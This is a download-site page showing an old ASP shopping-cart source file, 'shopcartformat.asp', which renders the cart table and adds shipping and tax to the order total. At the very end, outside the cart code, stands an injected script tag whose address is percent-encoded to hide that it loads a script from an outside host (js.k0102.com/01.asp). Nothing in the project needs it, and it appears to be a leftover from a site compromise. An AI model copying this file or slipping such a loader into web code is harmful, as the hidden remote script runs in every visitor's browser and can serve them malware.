⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 shopcartformat.asp

📁 vb的一个事例,简单了一点,但实用的一个电子超市系统
💻 ASP
字号:
<%

Sub CartFormat (AllowDelete)
Dim Remove
Dim total
Dim bgclor
Dim isubtotal, i, scartItem, arrCart
scartItem = Session("cartItem")
arrCart = Session("MyCart")
Remove=""
If allowdelete="TRUE" then
   Remove="取消"
end if
bgcolor="#005D39"
%>
<div align="center">
  <center>
    <table cellpadding="2" cellspacing="1" width="90%" bgcolor="#000000">
      <tr>
<%
If remove<> "" then
%>
      <td width="10%" bgcolor="<%=bgcolor%>">
        <p align="center"><%=Remove%></td>
<%end if
%>
      <td width="60%" bgcolor="<%=bgcolor%>">
          <p align="center">商品名称</p>
      </td>
      <td width="10%" bgcolor="<%=bgcolor%>"><p align="center">数量</td></p>
      <td width="10%" bgcolor="<%=bgcolor%>"><p align="center">单价</td></p>
      <td width="10%" bgcolor="<%=bgcolor%>">
        <p align="center">合计</td>
    </tr>

<%
isubtotal = 0
For i = 1 to scartItem
%>
    <TR bgColor=#1C845F>
<%
If remove<> "" then  
%>
        <TD width="10%"><INPUT name=selected<%= Cstr(i)%> type=checkbox value="yes" checked></TD>
<%
end if
%>
        <TD width="60%"><%= arrCart(cProductname,i) %></TD>
        <TD width="10%"><INPUT type="text" size=5 name=quantity<%= CStr(i) %> value="<%= arrCart(cQuantity,i) %>"></TD>
        <TD align="right" width="10%"><%= FormatCurrency(arrCart(cUnitPrice,i),2) %></TD>
        <TD align="right" width="10%"><%= FormatCurrency(arrCart(cUnitPrice,i) * arrCart(cQuantity,i),2) %></TD></TR>
<%
	isubtotal = isubtotal + (arrCart(cUnitPrice,i) * arrCart(cQuantity,i))
	Next
        if remove="" then           ' add other stuff during final checkout
          AddOthers isubtotal, total, Session("smprice"), Session("Taxes") ,"Calculate" 
          Session("ordertotal")=total
        else
        response.write  "<TR><TD bgColor=#339999></TD>"
        If Remove<>"" then
            response.write "<TD bgColor=#339999></TD>"
        end if
 %>
         <TD colspan=2 bgColor=#339999><font color="#FFFFFF">累计价格:</font></TD>
        <TD align="right" bgColor=#339999><%= FormatCurrency(isubtotal,2) %></TD></TR>
        </table> 
        </center>
       </div>
<%
       end if

end sub

Sub AddOthers (isubtotal, total, shipcost, itaxe, formatoption)
' if option="format" then don't recalculate tax
' Add fright, taxes to get total
Dim taxes
taxes=itaxe
Total=isubtotal
%>
<TR><TD bgColor=#339999></TD>
 <TD colspan="2" bgColor=#339999><font color="#FFFFFF">累计价格:</font></TD>

        <TD align="right" bgColor=#339999><%= FormatCurrency(isubtotal,2) %></TD></TR>
<%
'response.write "shipping " & shipcost
if shipcost<>"" then
%>
<TR><TD bgColor=#339999></TD>
 <TD colspan="2" bgColor=#339999><font color="#FFFFFF">附加费用:</font></TD>
        <TD align="right" bgColor=#339999><%= FormatCurrency(shipcost,2)%></TD></TR>
        </TD></TR>

<%
  Total=Total+shipcost
end if
' set values taxes in calulate Taxes in routine shoptax.asp
if ucase(formatoption)<>"FORMAT" then
   CalculateTax isubtotal, total, shipcost, Taxes
   Session("taxes")=taxes
end if
if Taxes<>"" then
   If Taxes<>0 then
%>
<TR><TD bgColor=#339999></TD>
 <TD colspan="2" bgColor=#339999><font color="#FFFFFF">税金:</font></TD>
        <TD align="right" bgColor=#339999><%= FormatCurrency(taxes,2) %></TD></TR>
        </TD></TR>

<%
         Total=Total+taxes
end if
end if
%>
<TR><TD bgColor=#339999></TD></font>
<TD colspan="2" bgColor=#339999><b>合计:</b></TD>
<font face="Arial, Arial, Helvetica">
        <TD align="right" bgColor=#339999><b><%= FormatCurrency(total,2) %></b></TD></TR>
</TABLE></P>

<%
end sub

%>
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -